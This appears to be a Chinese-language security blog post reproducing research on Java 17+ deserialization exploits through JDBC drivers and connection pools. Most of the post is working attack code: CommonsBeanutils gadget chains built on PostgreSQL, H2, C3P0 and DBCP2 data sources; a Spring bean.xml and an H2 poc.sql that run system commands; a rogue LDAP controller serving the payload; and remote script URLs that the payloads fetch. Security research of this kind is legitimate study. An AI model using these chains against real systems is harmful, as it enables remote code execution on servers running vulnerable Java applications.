Java 17及更高版本中通过JDBC连接实现反序列化漏洞利用

前言

由于Java 16的变化,让原生反序列化漏洞的利用变得更加艰难。本文主要对参考链接中的思路进行研究学习,实现在Java 17及更高版本中的反序列化漏洞利用。

1. Jigsaw项目和Java模块化系统

Java中的一个根本性的变化就是Java 模块化系统,在Java 9开始引入Java模块化系统和Jigsaw项目。

Java 模块化系统,可以更好地控制JRE/libraries的哪些部分由应用程序实际加载以及哪些部分可以通过其他模块访问。

Java 模块化系统同时也提供了很多好处,比如:性能的改进。

例如:如果要运行像 Apache Tomcat这样的服务,通常不会使用Java运行时的 GUI 组件,所以不需要首先对它们进行加载。甚至可以创建一个只包含应用程序实际使用的模块的简约JRE,非常适合基于容器的环境。

2. Java反射

在Java 9之前,Java已经提供了某种隔离,主要由编译器强制执行:无法从外部类访问标记为private/protected的方法和属性。但这只是一种弱保护,因为它可以进行绕过。下面是将私有方法internalMethod公开并在之后进行调用的示例:

1
2
3
4
5
6
7
PrivateObject privateObject = new PrivateObject();

Method internalMethod = PrivateObject.class.
getDeclaredMethod("internalMethod", null);

internalMethod.setAccessible(true); //设置为允许访问
String returnValue = (String) internalMethod.invoke(privateObject, null);

上面示例中,我们可以绕过模块隔离。因此,要实现一个健壮的Java模块系统,需要允许开发人员定义哪些代码可以从其他模块访问以及哪些部分可以调用/通过反射。定义是通过module-info.java文件来完成的。

Java开发人员使用Java模块系统来封装在Java 运行时对不应直接从外部代码调用的内部类的反射访问

从攻击者的角度来看,由于许多已知的反序列化利用工具都采取反射的方法来实现远程代码执行,因此在引入Java模块系统之后,反序列化漏洞的利用成为了一个问题。

3. 不同Java版本的反射访问

Java版 发布日期 评论
Java 9 2017 年 9 月 由编译器强制执行的反射访问限制,而不是运行时
Java 11(长期支持版) 2018 年 9 月 非法反射访问会产生警告,但仍然允许
Java 16 2021 年 3 月 在默认设置中阻止非法反射访问

在Java 17(2017 年 9 月发布)中,发布了第一个不再允许对内部Java类进行反射访问的 LTS 版本,由此防止在反序列化利用工具中对这些内部类进行使用。

例:在不同Java版本中CommonsBeanutils1的执行

可以使用ysoserial工具生成Gadget chain(下面截图是使用自己编写的代码生成Gadget chain并进行反序列化)

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" > ./testgadget 

CommonBeanutils1允许攻击者在序列化类上调用getter方法,通常是使用getters/setters访问属性的Java bean。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法会调用

1
2
3
4
5
TemplatesImpl#getOutputProperties() 
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

来执行恶意字节码。

(1)在Java 11环境中反序列化此对象,运行时会打印出警告,但Payload仍按预期工作,因为尚未强制执行模块访问限制;

image-20230418114411019

(2)在Java 17环境中,不再允许对内部类进行反射访问。因此,不再可能在TemplatesImpl类上调用方法。应用程序不执行Payload,而是抛出 IllegalAccessException

image-20230417152607006

TemplatesImpl类是在大多数Java版本上执行代码的方法,因此被用作许多Gadget chain中的最终接收器。根据上面的内容,在 Java 17环境中,这些Gadget chain不再“开箱即用”。由此需要找到一种方法实现反序列化漏洞在Java 17及更高版本中的利用,由此有了下面的内容:

4. 利用JDBC连接

在Java17之前,已经遇到过类似的情况,如:目标应用使用Serialization Filtering,以防止使用TemplatesImpl类;

Java 17仍然允许对这些类进行反序列化,但会阻止方法的调用。效果是类似的,都是阻止反序列化。

上面提到:CommonsBeanutils1允许在可序列化类上调用JavaBean,即Getter方法(getXXX)。

这种思路仍然可以在下面使用,只是不能再依赖Java运行时提供的对象。

创建 JDBC连接有两种不同的方式:

  • 调用静态方法DriverManager.getConnection()

  • 使用实现DataSource接口的类。

由于 DriverManager 类不可序列化,所以我们主要关注DataSource实现:

DataSource 接口要求实现提供一种getConnection()方法,于是可以使用它来定制CommonsBeanutils链的接收器(类似于TemplatesImpl类)。

4.1. 示例1:PostgeSQL JDBC驱动程序

PostgeSQLJDBCCB1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class PostgeSQLJDBCCB1 {
public static void main(String[] args) throws Exception{
PGSimpleDataSource dataSource = new PGSimpleDataSource();
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
//String jdbcUrl = "jdbc:postgresql://localhost:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
//Connection connection = DriverManager.getConnection(jdbcUrl);
dataSource.setUrl("jdbc:postgresql://localhost:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg);

//构造BeanComparator
final BeanComparator comparator = new BeanComparator(null, java.util.Collections.reverseOrder());

//构造恶意PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);

//反射将property的值设置成connection(即,调用getConnection())
Reflections.setFieldValue(comparator, "property", "connection");

//将恶意的dataSource对象写入到PriorityQueue的queue中
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;

//序列化
ByteArrayOutputStream baos= new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

bean.xml(放到远程服务器上,这里我放到了http://127.0.0.1:8008/bean.xml)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

在Java 17中,会抛出:

1
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.lang.Object[] java.util.PriorityQueue.queue accessible: module java.base does not "opens java.util" to unnamed module @255316f2

解决方法:增加vm参数

(IDEA中:Run—>EditConfigurations…—>Modify options—>Add VM options—>VM options)

1
--add-opens java.base/java.util=ALL-UNNAMED

image-20230418152016103

参考:

Make JDBC Attacks Brilliant Again II

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)

4.2. 示例2:H2 JDBC驱动程序

H2是内存数据库,通常用于演示。

JDBC连接字符串允许使用SQL命令配置外部文件以通过INIT设置进行数据库初始化(即直接将下面内容填入h2的JDBC URL框中):

1
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1/poc.sql'

H2提供的compiler功能,允许开发人员将自定义函数定义为 Java 代码。恶意INIT脚本可以滥用此功能来进行远程代码执行。

poc.sql(放到远程服务器上,这里我放到了http://127.0.0.1:8008/poc.sql)

1
2
3
4
5
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc')

image-20230419142925303

利用H2连接进行反序列化是困难的。原因:

虽然H2数据库包含可序列化的DataSource实现(JdbcDataSource类),但由于 JdbcDataSource类是TraceObject派生的,TraceObject类不能进行序列化。

在反序列化的JdbcDataSource实例上调用getConnection()方法时,代码首先会尝试调用debugCodeCall方法,由于TraceObject类的必要属性未反序列化,所以调用debugCodeCall方法将会失败,从而利用H2连接进行反序列化是困难的。

1
2
3
4
5
@Override
public Connection getConnection() throws SQLException {
debugCodeCall("getConnection");
return new JdbcConnection(url, null, userName, StringUtils.cloneCharArray(passwordChars), false);
}

在以前的 Java 版本中,攻击者可以使用JdbcRowSetImpl类绕过此问题。Moritz Bechler提供了CommonsBeanutils链的修改版本,用来进行JNDI调用和创建JDBC连接,参考其思路,这里写了利用H2连接进行反序列化的示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class H2JDBCCB1 {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl dataSource = new JdbcRowSetImpl();
dataSource.setUrl("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'");

//构造BeanComparator
final BeanComparator comparator = new BeanComparator(null, java.util.Collections.reverseOrder());

//构造恶意PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);

//反射将property的值设置成databaseMetaData(即,调用getDatabaseMetaData())
Reflections.setFieldValue(comparator, "property", "databaseMetaData");

//将恶意的dataSource对象写入到PriorityQueue的queue中
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;

//序列化
ByteArrayOutputStream baos= new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

反序列化时,通过JdbcRowSetImpl.getDatabaseMetaData()->this.connect()->DriverManager.getConnection()来调用getConnection()方法

image-20230419144617330

image-20230419145828354

与TemplatesImpl 类似,在Java高版本中,这是一个内部Java 类,不能再使用反射访问。因此我们不能直接使用它,但可以通过滥用 JDBC池来进行使用。

参考:

Make JDBC Attacks Brilliant Again I

5. 利用JDBC池化

JDBC 池是一种用于管理 Java 应用程序中的数据库连接的机制。

在 JDBC 池中,预先创建并维护一组数据库连接,以供应用程序使用。当应用程序需要访问数据库时,它会从池中请求一个连接,当它使用完连接后,会将它返回到池中而不是关闭它。这使应用程序能够重用现有连接并避免每次需要访问数据库时创建新连接的开销。

常见的JDBC连接池库:

Implementation Remark
HikariCP 现代实现,不包括许多序列化类
Commons DBCP Apache 连接池版本 1,提供 JNDI Gadgets
Commons DBCP2 Apache 连接池版本 2,提供 JNDI Gadgets
Druid 阿里巴巴JDBC连接池
C3PO 提供一个直接的Gadget (ComboPooledDataSource)
Tomcat JDBC Tomcat JDBC 池实现,不包括许多序列化类

注意:一些JDBC驱动程序(如:MariaDB)提供了它们自己的池化实现,可以在没有池库的情况下使用。

5.1. 示例1:C3PO ComboPooledDataSource 和 H2

C3PO ComboPooledDataSource将会获取JDBC连接字符串并将其传递给 JDBC 驱动程序管理器,从而创建一个新实例。这可以与任何JDBC驱动程序一起使用,使其成为一个非常通用的Gadget。

只需将上面H2JDBCCB1的代码中的JDBC连接部分进行更改,并设置property为connection即可:

1
2
3
4
5
6
7
8
9
10
public class H2JDBCCB1 {
public static void main(String[] args) throws Exception{
ComboPooledDataSource dataSource = new ComboPooledDataSource();
dataSource.setJdbcUrl("jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'");

...//省略重复代码
Reflections.setFieldValue(comparator, "property", "connection");
...//省略重复代码
}
}

与上面示例1:PostgeSQL JDBC驱动程序类似,会抛出异常,解决方法,依旧是增加vm参数:

1
--add-opens java.base/java.util=ALL-UNNAMED

image-20230419154706778

5.2. 示例2:Apache Commons DBCP2 和 H2

利用Apache Commons DBCP2进行远程远程代码执行,可以使用SharedPoolDataSource

调用getConnection时,会触发以下链:

  1. 对攻击者控制的源(LDAP 服务)执行 JNDI 调用;
  2. 使用H2 数据源对象工厂和从 JNDI 调用接收到的属性创建一个新的JdbcDataSource实例;
  3. 在创建的实例上调用getConnection()

1.通过JNDI调用的JNDI源代码,方法是根据Artsploits rogue-jndi 写一个控制器扩展:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package artsploit.controllers;

import artsploit.Config;
import artsploit.Utilities;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;

@LdapMapping(uri = { "/o=h2" })
public class H2JDBCLDAP implements LdapController {
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP ResourceRef result for " + base + " with H2 payload");
String payloadURL = "http://" + Config.hostname + ":" + Config.httpPort + Config.h2; //get from config if not specified
String jdbcUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '" + payloadURL + "'";

Reference h2Reference = new Reference("org.h2.jdbcx.JdbcDataSource", "org.h2.jdbcx.JdbcDataSourceFactory", null);
h2Reference.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
h2Reference.add(new StringRefAddr("url", jdbcUrl));
h2Reference.add(new StringRefAddr("user", "sa"));
h2Reference.add(new StringRefAddr("password", "sa"));
h2Reference.add(new StringRefAddr("description", "H2 connection"));
h2Reference.add(new StringRefAddr("loginTimeout", "3"));

Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
e.addAttribute("javaSerializedData", Utilities.serialize(h2Reference));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

注意:

在Config.java中添加

1
2
@Parameter(names = {"--h2"}, description = "[H2JDBCLDAP payload option] SQL file with command payload", order = 4)
public static String h2 = "/poc.sql";

在HttpServer.java添加

1
2
3
4
5
6
7
8
9
10
case "/poc.sql":
String pocSql = "CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {\n" +
"\tjava.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\");\n" +
"return s.hasNext() ? s.next() : \"\"; }\n" +
"$$;\n" +
"CALL SHELLEXEC('calc')";

httpExchange.sendResponseHeaders(200, pocSql.getBytes().length);
httpExchange.getResponseBody().write(pocSql.getBytes());
break;

运行LDAP 服务:

image-20230419200812208

2.将上面H2JDBCCB1的代码中的JDBC连接部分进行更改:

1
2
3
4
5
6
7
public class H2JDBCCB1 {
public static void main(String[] args) throws Exception{
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName("ldap://192.168.28.1:1389/o=h2");
//省略
}
}

3.运行H2JDBCCB1,可见反序列化执行成功:

image-20230419195331533

DBCP2在序列化对象中存储已用连接池的引用。反序列化对象时,它会尝试通过调用InstanceKeyDataSourceFactory.getObjectIntance()来重用该池。

image-20230420112901109

可以通过提供一个空引用来进行“绕过”它:

(1)提供前

image-20230420115747030

(2)提供后

image-20230420144525984

连接池引用是一个简单的数字,存储为字符串(“1”、“2”)。假设至少有一个连接池(这就是为什么首先要有连接池),攻击者可以简单地“使用”该引用,因为连接池是否指向不同的数据库并不重要。

6. 其他

文章中提到的拓展思路:

类似于H2 JDBC连接字符串中的“INIT”功能,一些 JDBC 池库允许为以下用例配置 SQL 查询:

  • 新连接的初始化
  • 验证现有连接

根据提供的数据库,这可能会在开发过程中被滥用。

如:

在 HSQLDB 2.7.1 之前,可以通过 SQL 执行任意静态 Java 方法 (CVE-2022-41853)。

参考:BCS2022-探索JNDI攻击.pdf,调用System.setProperty并使用它来将com.sun.jndi.rmi.object.trustURLCodebase设置为true,从而重新启用JNDI 中的远程类加载,可以像之前一样远程执行代码:

1
CALL "java.lang.System.setProperty"('com.sun.jndi.rmi.object.trustURLCodebase', 'true')

当应用程序尝试将攻击者提供的Gadget chain转换为预期对象时,会触发异常。在执行验证查询之前,数据库连接可能已经终止。初始化查询应该有效。

结束语

本篇主要对参考文章中提到的思路进行了分析和实现。

参考:

Look Mama, no TemplatesImpl

Make JDBC Attacks Brilliant Again I

Make JDBC Attacks Brilliant Again II

JDK17遇到报错 module java.base does not “opens java.util“ to unnamed module 问题解决

在Spring Boot使用H2内存数据库